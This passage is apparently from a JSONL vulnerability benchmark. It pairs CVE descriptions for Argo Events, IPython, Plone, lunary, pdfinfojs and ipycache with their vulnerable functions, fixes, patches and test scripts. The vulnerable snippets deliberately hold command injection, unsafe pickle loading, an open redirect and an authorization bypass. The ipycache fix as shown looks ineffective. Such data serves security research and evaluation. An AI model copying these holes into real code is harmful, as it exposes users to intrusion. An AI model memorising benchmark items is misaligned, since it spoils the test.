true,\n\t\t}\n\t\tif auth != nil {\n\t\t\tfetchOptions.Auth = auth\n\t\t}\n\n\t\tif err := r.Fetch(fetchOptions); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to fetch remote %s. err: %+v\", g.artifact.Remote.Name, err)\n\t\t}\n\t}\n\n\tw, err := r.Worktree()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get working tree. err: %+v\", err)\n\t}\n\n\tfetchOptions := &git.FetchOptions{\n\t\tRemoteName: g.getRemote(),\n\t\tRefSpecs:   fetchRefSpec,\n\t\tForce:      true,\n\t}\n\tif auth != nil {\n\t\tfetchOptions.Auth = auth\n\t}\n\n\t// In the case of a specific given ref, it isn't necessary to fetch anything\n\t// but the single ref\n\tif g.artifact.Ref != \"\" {\n\t\tfetchOptions.Depth = 1\n\t\tfetchOptions.RefSpecs = []config.RefSpec{config.RefSpec(g.artifact.Ref + \":\" + g.artifact.Ref)}\n\t}\n\n\tif err := r.Fetch(fetchOptions); err != nil && err != git.NoErrAlreadyUpToDate {\n\t\treturn nil, fmt.Errorf(\"failed to fetch. err: %v\", err)\n\t}\n\n\tif err := w.Checkout(g.getBranchOrTag()); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to checkout. err: %+v\", err)\n\t}\n\n\t// In the case of a specific given ref, it shouldn't be necessary to pull\n\tif g.artifact.Ref != \"\" {\n\t\tpullOpts := &git.PullOptions{\n\t\t\tRecurseSubmodules: git.DefaultSubmoduleRecursionDepth,\n\t\t\tReferenceName:     g.getBranchOrTag().Branch,\n\t\t\tForce:             true,\n\t\t}\n\t\tif auth != nil {\n\t\t\tpullOpts.Auth = auth\n\t\t}\n\n\t\tif err := w.Pull(pullOpts); err != nil && err != git.NoErrAlreadyUpToDate {\n\t\t\treturn nil, fmt.Errorf(\"failed to pull latest updates. err: %+v\", err)\n\t\t}\n\t}\n\tfilePath := fmt.Sprintf(\"%s/%s\", dir, g.artifact.FilePath)\n\t// symbol link is not allowed due to security concern\n\tisSymbolLink, err := isSymbolLink(filePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif isSymbolLink {\n\t\treturn nil, fmt.Errorf(\"%q is a symbol link which is not allowed\", g.artifact.FilePath)\n\t}\n\treturn ioutil.ReadFile(filePath)\n}"}, {"id": "fix_go_135_4", "commit": "d0f66db", "file_path": "sensors/artifacts/git.go", "start_line": 266, "end_line": 275, "snippet": "func isSymbolLink(filepath string) (bool, error) {\n\tfi, err := os.Lstat(path.Clean(filepath))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif fi.Mode()&os.ModeSymlink != 0 {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}"}], "vul_patch": "--- a/sensors/artifacts/git.go\n+++ b/sensors/artifacts/git.go\n@@ -3,4 +3,6 @@\n \t\t\"refs/*:refs/*\",\n \t\t\"HEAD:refs/heads/HEAD\",\n \t}\n+\n+\tnotAllowedInPath = []string{\"..\", \"~\", \"\\\\\"}\n )\n\n--- a/sensors/artifacts/git.go\n+++ b/sensors/artifacts/git.go\n@@ -1,4 +1,13 @@\n func NewGitReader(gitArtifact *v1alpha1.GitArtifact) (*GitArtifactReader, error) {\n+\tif gitArtifact == nil {\n+\t\treturn nil, fmt.Errorf(\"nil git artifact\")\n+\t}\n+\tfor _, na := range notAllowedInPath {\n+\t\tif strings.Contains(gitArtifact.FilePath, na) {\n+\t\t\treturn nil, fmt.Errorf(\"%q is not allowed in the filepath\", na)\n+\t\t}\n+\t}\n+\n \treturn &GitArtifactReader{\n \t\tartifact: gitArtifact,\n \t}, nil\n\n--- a/sensors/artifacts/git.go\n+++ b/sensors/artifacts/git.go\n@@ -71,6 +71,14 @@\n \t\t\treturn nil, fmt.Errorf(\"failed to pull latest updates. err: %+v\", err)\n \t\t}\n \t}\n-\n-\treturn ioutil.ReadFile(fmt.Sprintf(\"%s/%s\", dir, g.artifact.FilePath))\n+\tfilePath := fmt.Sprintf(\"%s/%s\", dir, g.artifact.FilePath)\n+\t// symbol link is not allowed due to security concern\n+\tisSymbolLink, err := isSymbolLink(filePath)\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\tif isSymbolLink {\n+\t\treturn nil, fmt.Errorf(\"%q is a symbol link which is not allowed\", g.artifact.FilePath)\n+\t}\n+\treturn ioutil.ReadFile(filePath)\n }\n\n--- /dev/null\n+++ b/sensors/artifacts/git.go\n@@ -0,0 +1,10 @@\n+func isSymbolLink(filepath string) (bool, error) {\n+\tfi, err := os.Lstat(path.Clean(filepath))\n+\tif err != nil {\n+\t\treturn false, err\n+\t}\n+\tif fi.Mode()&os.ModeSymlink != 0 {\n+\t\treturn true, nil\n+\t}\n+\treturn false, nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-24816", "cve_description": "IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Versions prior to 8.1.0 are subject to a command injection vulnerability with very specific prerequisites. This vulnerability requires that the function `IPython.utils.terminal.set_term_title` be called on Windows in a Python environment where ctypes is not available. The dependency on `ctypes` in `IPython.utils._process_win32` prevents the vulnerable code from ever being reached in the ipython binary. However, as a library that could be used by another tool `set_term_title` could be called and hence introduce a vulnerability. Should an attacker get untrusted input to an instance of this function they would be able to inject shell commands as current process and limited to the scope of the current process. Users of ipython as a library are advised to upgrade. Users unable to upgrade should ensure that any calls to the `IPython.utils.terminal.set_term_title` function are done with trusted or filtered input.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ipython/ipython", "patch_url": ["https://github.com/ipython/ipython/commit/385d69325319a5972ee9b5983638e3617f21cb1f", "https://github.com/ipython/ipython/commit/991849c247fc208628879e7ca2923b3c218a5a75"], "programing_language": "Python", "vul_func": [{"id": "vul_py_95_1", "commit": "e548ee2", "file_path": "IPython/utils/terminal.py", "start_line": "88", "end_line": "117", "snippet": "if os.name == 'posix':\n    TERM = os.environ.get('TERM','')\n    if TERM.startswith('xterm'):\n        _set_term_title = _set_term_title_xterm\n        _restore_term_title = _restore_term_title_xterm\nelif sys.platform == 'win32':\n    try:\n        import ctypes\n\n        SetConsoleTitleW = ctypes.windll.kernel32.SetConsoleTitleW\n        SetConsoleTitleW.argtypes = [ctypes.c_wchar_p]\n    \n        def _set_term_title(title):\n            \"\"\"Set terminal title using ctypes to access the Win32 APIs.\"\"\"\n            SetConsoleTitleW(title)\n    except ImportError:\n        def _set_term_title(title):\n            \"\"\"Set terminal title using the 'title' command.\"\"\"\n            global ignore_termtitle\n\n            try:\n                # Cannot be on network share when issuing system commands\n                curr = os.getcwd()\n                os.chdir(\"C:\")\n                ret = os.system(\"title \" + title)\n            finally:\n                os.chdir(curr)\n            if ret:\n                # non-zero return code signals error, don't try again\n                ignore_termtitle = True"}], "fix_func": [{"id": "fix_py_95_1", "commit": "385d693", "file_path": "IPython/utils/terminal.py", "start_line": "88", "end_line": "101", "snippet": "if os.name == 'posix':\n    TERM = os.environ.get('TERM','')\n    if TERM.startswith('xterm'):\n        _set_term_title = _set_term_title_xterm\n        _restore_term_title = _restore_term_title_xterm\nelif sys.platform == 'win32':\n    import ctypes\n\n    SetConsoleTitleW = ctypes.windll.kernel32.SetConsoleTitleW\n    SetConsoleTitleW.argtypes = [ctypes.c_wchar_p]\n\n    def _set_term_title(title):\n        \"\"\"Set terminal title using ctypes to access the Win32 APIs.\"\"\"\n        SetConsoleTitleW(title)"}], "vul_patch": "--- a/IPython/utils/terminal.py\n+++ b/IPython/utils/terminal.py\n@@ -4,27 +4,11 @@\n         _set_term_title = _set_term_title_xterm\n         _restore_term_title = _restore_term_title_xterm\n elif sys.platform == 'win32':\n-    try:\n-        import ctypes\n+    import ctypes\n \n-        SetConsoleTitleW = ctypes.windll.kernel32.SetConsoleTitleW\n-        SetConsoleTitleW.argtypes = [ctypes.c_wchar_p]\n-    \n-        def _set_term_title(title):\n-            \"\"\"Set terminal title using ctypes to access the Win32 APIs.\"\"\"\n-            SetConsoleTitleW(title)\n-    except ImportError:\n-        def _set_term_title(title):\n-            \"\"\"Set terminal title using the 'title' command.\"\"\"\n-            global ignore_termtitle\n+    SetConsoleTitleW = ctypes.windll.kernel32.SetConsoleTitleW\n+    SetConsoleTitleW.argtypes = [ctypes.c_wchar_p]\n \n-            try:\n-                # Cannot be on network share when issuing system commands\n-                curr = os.getcwd()\n-                os.chdir(\"C:\")\n-                ret = os.system(\"title \" + title)\n-            finally:\n-                os.chdir(curr)\n-            if ret:\n-                # non-zero return code signals error, don't try again\n-                ignore_termtitle = True\n+    def _set_term_title(title):\n+        \"\"\"Set terminal title using ctypes to access the Win32 APIs.\"\"\"\n+        SetConsoleTitleW(title)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32806", "cve_description": "Products.isurlinportal is a replacement for isURLInPortal method in Plone. Versions of Products.isurlinportal prior to 1.2.0 have an Open Redirect vulnerability. Various parts of Plone use the 'is url in portal' check for security, mostly to see if it is safe to redirect to a url. A url like `https://example.org` is not in the portal. The url `https:example.org` without slashes is considered to be in the portal. When redirecting, some browsers go to `https://example.org`, others give an error. Attackers may use this to redirect victims to their site, especially as part of a phishing attack. The problem has been patched in Products.isurlinportal 1.2.0.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/plone/Products.isurlinportal", "patch_url": ["https://github.com/plone/Products.isurlinportal/commit/d4fd34990d18adf05a10dc5e2bb4b066798280ba"], "programing_language": "Python", "vul_func": [{"id": "vul_py_106_1", "commit": "a52a08c", "file_path": "Products/isurlinportal/__init__.py", "start_line": 91, "end_line": 174, "snippet": "def isURLInPortal(self, url, context=None):\n    # Note: no docstring, because the method is publicly available\n    # but does not need to be callable on site-url/portal_url/isURLInPortal.\n\n    # Check if a given url is on the same host and contains the portal\n    # path.  Used to ensure that login forms can determine relevant\n    # referrers (i.e. in portal).  Also return true for some relative\n    # urls if context is passed in to allow for url parsing. When context\n    # is not provided, assume that relative urls are in the portal. It is\n    # assumed that http://portal is the same portal as https://portal.\n\n    # External sites listed in 'allow_external_login_sites' of\n    # site_properties are also considered within the portal to allow for\n    # single sign on.\n\n    if len(url.splitlines()) > 1:\n        # very fishy\n        return False\n    if url != url.strip():\n        # somewhat fishy\n        return False\n    if url != \" \".join(url.split()):\n        # Some non-normal whitespace is used, like a tab.\n        # Could be a ploy to circumvent our checks.  We don't trust this.\n        return False\n    if url and not safe_url_first_char(url):\n        return False\n\n    # sanitize url\n    url = re.sub(\"^[\\x00-\\x20]+\", \"\", url).strip()\n    cmp_url = url.lower()\n    for bad in BAD_URL_PARTS:\n        if bad in cmp_url:\n            return False\n\n    p_url = self()\n\n    schema, u_host, u_path, _, _, _ = urlparse(url)\n    if schema and schema not in ALLOWED_SCHEMAS:\n        # Redirecting to 'data:' may be harmful,\n        # and redirecting to 'mailto:' or 'ftp:' is silly.\n        return False\n\n    # Someone may be doing tricks with escaped html code.\n    unescaped_url = unescape(url)\n    if unescaped_url != url:\n        if not self.isURLInPortal(unescaped_url):\n            return False\n\n    if not u_host and not u_path.startswith(\"/\"):\n        if context is None:\n            return True  # old behavior\n        if not context.isPrincipiaFolderish:\n            useurl = context.aq_parent.absolute_url()\n        else:\n            useurl = context.absolute_url()\n    else:\n        useurl = p_url  # when u_path.startswith('/')\n    if not useurl.endswith(\"/\"):\n        useurl += \"/\"\n\n    # urljoin to current url to get an absolute path\n    _, u_host, u_path, _, _, _ = urlparse(urljoin(useurl, url))\n\n    # normalise to end with a '/' so /foobar is not considered within /foo\n    if not u_path:\n        u_path = \"/\"\n    else:\n        u_path = normpath(u_path)\n        if not u_path.endswith(\"/\"):\n            u_path += \"/\"\n    _, host, path, _, _, _ = urlparse(p_url)\n    if not path.endswith(\"/\"):\n        path += \"/\"\n    if host == u_host and u_path.startswith(path):\n        return True\n\n    for external_site in get_external_sites(self):\n        _, host, path, _, _, _ = urlparse(external_site)\n        if not path.endswith(\"/\"):\n            path += \"/\"\n        if host == u_host and u_path.startswith(path):\n            return True\n    return False"}], "fix_func": [{"id": "fix_py_106_1", "commit": "7cbf4a4", "file_path": "Products/isurlinportal/__init__.py", "start_line": 91, "end_line": 180, "snippet": "def isURLInPortal(self, url, context=None):\n    # Note: no docstring, because the method is publicly available\n    # but does not need to be callable on site-url/portal_url/isURLInPortal.\n\n    # Check if a given url is on the same host and contains the portal\n    # path.  Used to ensure that login forms can determine relevant\n    # referrers (i.e. in portal).  Also return true for some relative\n    # urls if context is passed in to allow for url parsing. When context\n    # is not provided, assume that relative urls are in the portal. It is\n    # assumed that http://portal is the same portal as https://portal.\n\n    # External sites listed in 'allow_external_login_sites' of\n    # site_properties are also considered within the portal to allow for\n    # single sign on.\n\n    if len(url.splitlines()) > 1:\n        # very fishy\n        return False\n    if url != url.strip():\n        # somewhat fishy\n        return False\n    if url != \" \".join(url.split()):\n        # Some non-normal whitespace is used, like a tab.\n        # Could be a ploy to circumvent our checks.  We don't trust this.\n        return False\n    if url and not safe_url_first_char(url):\n        return False\n\n    # sanitize url\n    url = re.sub(\"^[\\x00-\\x20]+\", \"\", url).strip()\n    cmp_url = url.lower()\n    for bad in BAD_URL_PARTS:\n        if bad in cmp_url:\n            return False\n\n    p_url = self()\n\n    schema, u_host, u_path, _, _, _ = urlparse(url)\n    if schema and schema not in ALLOWED_SCHEMAS:\n        # Redirecting to 'data:' may be harmful,\n        # and redirecting to 'mailto:' or 'ftp:' is silly.\n        return False\n\n    if schema and not u_host:\n        # Example: https:example.org\n        # When we redirect to this, some browsers fail, others happily go to example.org.\n        # In any case, this is not in the portal.\n        return False\n\n    # Someone may be doing tricks with escaped html code.\n    unescaped_url = unescape(url)\n    if unescaped_url != url:\n        if not self.isURLInPortal(unescaped_url):\n            return False\n\n    if not u_host and not u_path.startswith(\"/\"):\n        if context is None:\n            return True  # old behavior\n        if not context.isPrincipiaFolderish:\n            useurl = context.aq_parent.absolute_url()\n        else:\n            useurl = context.absolute_url()\n    else:\n        useurl = p_url  # when u_path.startswith('/')\n    if not useurl.endswith(\"/\"):\n        useurl += \"/\"\n\n    # urljoin to current url to get an absolute path\n    _, u_host, u_path, _, _, _ = urlparse(urljoin(useurl, url))\n\n    # normalise to end with a '/' so /foobar is not considered within /foo\n    if not u_path:\n        u_path = \"/\"\n    else:\n        u_path = normpath(u_path)\n        if not u_path.endswith(\"/\"):\n            u_path += \"/\"\n    _, host, path, _, _, _ = urlparse(p_url)\n    if not path.endswith(\"/\"):\n        path += \"/\"\n    if host == u_host and u_path.startswith(path):\n        return True\n\n    for external_site in get_external_sites(self):\n        _, host, path, _, _, _ = urlparse(external_site)\n        if not path.endswith(\"/\"):\n            path += \"/\"\n        if host == u_host and u_path.startswith(path):\n            return True\n    return False"}], "vul_patch": "--- a/Products/isurlinportal/__init__.py\n+++ b/Products/isurlinportal/__init__.py\n@@ -41,6 +41,12 @@\n         # and redirecting to 'mailto:' or 'ftp:' is silly.\n         return False\n \n+    if schema and not u_host:\n+        # Example: https:example.org\n+        # When we redirect to this, some browsers fail, others happily go to example.org.\n+        # In any case, this is not in the portal.\n+        return False\n+\n     # Someone may be doing tricks with escaped html code.\n     unescaped_url = unescape(url)\n     if unescaped_url != url:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-4154", "cve_description": "In lunary-ai/lunary version 1.2.2, an incorrect synchronization vulnerability allows unprivileged users to rename projects they do not have access to. Specifically, an unprivileged user can send a PATCH request to the project's endpoint with a new name for a project, despite not having the necessary permissions or being assigned to the project. This issue allows for unauthorized modification of project names, potentially leading to confusion or unauthorized access to project resources.", "cwe_info": {"CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/lunary-ai/lunary", "patch_url": ["https://github.com/lunary-ai/lunary/commit/c43b6c62035f32ca455f66d5fd22ba661648cde7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_235_1", "commit": "680bd1c190771d4fb96732725f7547cfaf3d662f", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 7, "end_line": 18, "snippet": "export async function checkProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from project \n        where org_id = (select org_id from account where id = ${userId}) \n          and id = ${projectId}\n      )\n    `\n  return hasAccess\n}\n"}], "fix_func": [{"id": "fix_js_235_1", "commit": "c43b6c62035f32ca455f66d5fd22ba661648cde7", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 6, "end_line": 16, "snippet": "export async function checkProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from account_project ap\n        where ap.project_id = ${projectId} and ap.account_id = ${userId}\n      )\n  `\n  return hasAccess\n}\n"}], "vul_patch": "--- a/packages/backend/src/utils/authorization.ts\n+++ b/packages/backend/src/utils/authorization.ts\n@@ -2,10 +2,9 @@\n   const [{ exists: hasAccess }] = await sql`\n       select exists (\n         select 1 \n-        from project \n-        where org_id = (select org_id from account where id = ${userId}) \n-          and id = ${projectId}\n+        from account_project ap\n+        where ap.project_id = ${projectId} and ap.account_id = ${userId}\n       )\n-    `\n+  `\n   return hasAccess\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3746", "cve_description": "The pdfinfojs NPM module versions <= 0.3.6 has a command injection vulnerability that allows an attacker to execute arbitrary commands on the victim's machine.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/fagbokforlaget/pdfinfojs", "patch_url": ["https://github.com/fagbokforlaget/pdfinfojs/commit/5cc59cd8aa13ca8d16bb41da8affdfef370ad4fd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_277_1", "commit": "379c0e14db8298b465269653b9ac308d83eb6d4e", "file_path": "lib/pdfinfo.js", "start_line": 4, "end_line": 61, "snippet": "function pdfinfo (filename, options) {\n  this.options = options || {};\n  this.options.additional = ['\"' + filename + '\"'];\n\n  pdfinfo.prototype.add_options = function(optionArray) {\n    if (typeof optionArray.length !== undefined) {\n        var self = this;\n        optionArray.forEach(function(el) {\n          if (el.indexOf(' ') > 0) {\n            var values = el.split(' ');\n            self.options.additional.push(values[0], values[1]);\n          } else {\n            self.options.additional.push(el);\n          }\n        });\n    }\n    return this;\n  };\n\n  pdfinfo.prototype.getInfoSync = function() {\n    const self = this;\n    try {\n    \tlet data = execSync('pdfinfo ' + self.options.additional.join(' ')).toString('utf8');\n        return utils.parse(data);\n    } catch(err) {\n        throw new Error(\"pdfinfo error: \"+ err.msg);\n    }\n  }\n\n\n  pdfinfo.prototype.getInfo = function(cb) {\n    let self = this;\n    let child = exec('pdfinfo ' + self.options.additional.join(' '), function(error, stdout, stderr) {\n      if (!error) {\n        let data = utils.parse(stdout);\n        if (cb && typeof cb === \"function\") {\n          cb(null, data, self.options.additional);\n        }\n      }\n      else {\n        console.info('pdfinfo (poppler-utils) is missing. Hint: sudo apt-get install poppler-utils');\n        if (cb && typeof cb === \"function\") {\n          cb(new Error(stderr), null, self.options.addtional);\n        }\n      }\n    });\n  }\n\n  pdfinfo.prototype.error = function(callback) {\n    this.options.error = callback;\n    return this;\n  };\n\n  pdfinfo.prototype.success = function(callback) {\n    this.options.success = callback;\n    return this;\n  };\n}"}], "fix_func": [{"id": "fix_js_277_1", "commit": "5cc59cd8aa13ca8d16bb41da8affdfef370ad4fd", "file_path": "lib/pdfinfo.js", "start_line": 4, "end_line": 61, "snippet": "function pdfinfo (filename, options) {\n  this.options = options || {};\n  this.options.additional = [filename];\n\n  pdfinfo.prototype.add_options = function(optionArray) {\n    if (typeof optionArray.length !== undefined) {\n        var self = this;\n        optionArray.forEach(function(el) {\n          if (el.indexOf(' ') > 0) {\n            var values = el.split(' ');\n            self.options.additional.push(values[0], values[1]);\n          } else {\n            self.options.additional.push(el);\n          }\n        });\n    }\n    return this;\n  };\n\n  pdfinfo.prototype.getInfoSync = function() {\n    const self = this;\n    try {\n    \tlet data = execFileSync('pdfinfo', self.options.additional).toString('utf8');\n        return utils.parse(data);\n    } catch(err) {\n        throw new Error(\"pdfinfo error: \"+ err.msg);\n    }\n  }\n\n\n  pdfinfo.prototype.getInfo = function(cb) {\n    let self = this;\n    let child = execFile('pdfinfo', self.options.additional, (error, stdout, stderr) => {\n      if (!error) {\n        let data = utils.parse(stdout);\n        if (cb && typeof cb === \"function\") {\n          cb(null, data, self.options.additional);\n        }\n      }\n      else {\n        console.info('pdfinfo (poppler-utils) is missing. Hint: sudo apt-get install poppler-utils');\n        if (cb && typeof cb === \"function\") {\n          cb(new Error(stderr), null, self.options.addtional);\n        }\n      }\n    });\n  }\n\n  pdfinfo.prototype.error = function(callback) {\n    this.options.error = callback;\n    return this;\n  };\n\n  pdfinfo.prototype.success = function(callback) {\n    this.options.success = callback;\n    return this;\n  };\n}"}], "vul_patch": "--- a/lib/pdfinfo.js\n+++ b/lib/pdfinfo.js\n@@ -1,6 +1,6 @@\n function pdfinfo (filename, options) {\n   this.options = options || {};\n-  this.options.additional = ['\"' + filename + '\"'];\n+  this.options.additional = [filename];\n \n   pdfinfo.prototype.add_options = function(optionArray) {\n     if (typeof optionArray.length !== undefined) {\n@@ -20,7 +20,7 @@\n   pdfinfo.prototype.getInfoSync = function() {\n     const self = this;\n     try {\n-    \tlet data = execSync('pdfinfo ' + self.options.additional.join(' ')).toString('utf8');\n+    \tlet data = execFileSync('pdfinfo', self.options.additional).toString('utf8');\n         return utils.parse(data);\n     } catch(err) {\n         throw new Error(\"pdfinfo error: \"+ err.msg);\n@@ -30,7 +30,7 @@\n \n   pdfinfo.prototype.getInfo = function(cb) {\n     let self = this;\n-    let child = exec('pdfinfo ' + self.options.additional.join(' '), function(error, stdout, stderr) {\n+    let child = execFile('pdfinfo', self.options.additional, (error, stdout, stderr) => {\n       if (!error) {\n         let data = utils.parse(stdout);\n         if (cb && typeof cb === \"function\") {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-7539", "cve_description": "A code injection issue was discovered in ipycache through 2016-05-31.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/adi928/ipycache", "patch_url": ["https://github.com/adi928/ipycache/commit/9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e", "https://github.com/adi928/ipycache/commit/c73a726744c90cc2cb200b159edbaf5deddcb753"], "programing_language": "Python", "vul_func": [{"id": "vul_py_23_1", "commit": "2c334c5", "file_path": "ipycache.py", "start_line": 102, "end_line": 141, "snippet": "def load_vars(path, vars):\n    \"\"\"Load variables from a pickle file.\n    \n    Arguments:\n    \n      * path: the path to the pickle file.\n      * vars: a list of variable names.\n    \n    Returns:\n    \n      * cache: a dictionary {var_name: var_value}.\n    \n    \"\"\"\n    with open(path, 'rb') as f:\n        # Load the variables from the cache.\n        try:\n            cache = pickle.load(f)\n        except EOFError as e:\n            cache={}\n            #raise IOError(str(e))\n        \n        # Check that all requested variables could be loaded successfully\n        # from the cache.\n        missing_vars = sorted(set(vars) - set(cache.keys()))\n        if missing_vars:\n            raise ValueError((\"The following variables could not be loaded \"\n                \"from the cache: {0:s}\").format(\n                ', '.join([\"'{0:s}'\".format(var) for var in missing_vars])))\n        additional_vars = sorted(set(cache.keys()) - set(vars))\n        for hidden_variable in '_captured_io', '_cell_md5':\n            try:\n                additional_vars.remove(hidden_variable)\n            except ValueError:\n                pass\n        if additional_vars:\n            raise ValueError(\"The following variables were present in the cache, \"\n                    \"but removed from the storage request: {0:s}\".format(\n                ', '.join([\"'{0:s}'\".format(var) for var in additional_vars])))\n        \n        return cache"}], "fix_func": [{"id": "fix_py_23_1", "commit": "9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e", "file_path": "ipycache.py", "start_line": 101, "end_line": 142, "snippet": "def load_vars(path, vars):\n    \"\"\"Load variables from a pickle file.\n    \n    Arguments:\n    \n      * path: the path to the pickle file.\n      * vars: a list of variable names.\n    \n    Returns:\n    \n      * cache: a dictionary {var_name: var_value}.\n    \n    \"\"\"\n    with open(path, 'rb') as f:\n        # Load the variables from the cache.\n        try:\n            restricted_loads(f.read())\n            cache = pickle.load(f)\n        except EOFError as e:\n            cache={}\n            #raise IOError(str(e))\n        \n        # Check that all requested variables could be loaded successfully\n        # from the cache.\n        missing_vars = sorted(set(vars) - set(cache.keys()))\n        if missing_vars:\n            raise ValueError((\"The following variables could not be loaded \"\n                \"from the cache: {0:s}\").format(\n                ', '.join([\"'{0:s}'\".format(var) for var in missing_vars])))\n        additional_vars = sorted(set(cache.keys()) - set(vars))\n        for hidden_variable in '_captured_io', '_cell_md5':\n            try:\n                additional_vars.remove(hidden_variable)\n            except ValueError:\n                pass\n        if additional_vars:\n            raise ValueError(\"The following variables were present in the cache, \"\n                    \"but removed from the storage request: {0:s}\".format(\n                ', '.join([\"'{0:s}'\".format(var) for var in additional_vars])))\n        \n        return cache\n"}, {"id": "fix_py_23_2", "commit": "9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e", "file_path": "ipycache.py", "start_line": 160, "end_line": 173, "snippet": "class RestrictedUnpickler(pickle.Unpickler):\n\n    def find_class(self, module, name):\n        if module == '_io' and name == 'StringIO':\n            return getattr(sys.modules[module], name)\n        # Forbid everything else.\n        raise pickle.UnpicklingError(\"global '%s.%s' is forbidden\" %\n                                     (module, name))\n\n\ndef restricted_loads(s):\n    \"\"\"Helper function analogous to pickle.loads().\"\"\"\n    return RestrictedUnpickler(io.BytesIO(s)).load()\n"}], "vul_patch": "--- a/ipycache.py\n+++ b/ipycache.py\n@@ -14,6 +14,7 @@\n     with open(path, 'rb') as f:\n         # Load the variables from the cache.\n         try:\n+            restricted_loads(f.read())\n             cache = pickle.load(f)\n         except EOFError as e:\n             cache={}\n\n--- /dev/null\n+++ b/ipycache.py\n@@ -0,0 +1,13 @@\n+class RestrictedUnpickler(pickle.Unpickler):\n+\n+    def find_class(self, module, name):\n+        if module == '_io' and name == 'StringIO':\n+            return getattr(sys.modules[module], name)\n+        # Forbid everything else.\n+        raise pickle.UnpicklingError(\"global '%s.%s' is forbidden\" %\n+                                     (module, name))\n+\n+\n+def restricted_loads(s):\n+    \"\"\"Helper function analogous to pickle.loads().\"\"\"\n+    return RestrictedUnpickler(io.BytesIO(s)).load()\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-7539:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ipycache\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2019-7539/bin/python -m pytest test_ipycache.py -v -k \"test_load_exploitPickle\"  -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-7539:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/ipycache\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2019-7539/bin/python -m pytest test_ipycache.py -v -k \"(test_conditional_eval) or (test_clean_var) or (test_clean_vars) or (test_do_save) or (test_load_fail) or (test_cache_outputs) or (test_cache_fail_1)\" -p no:warning --disable-warnings\n\n"}
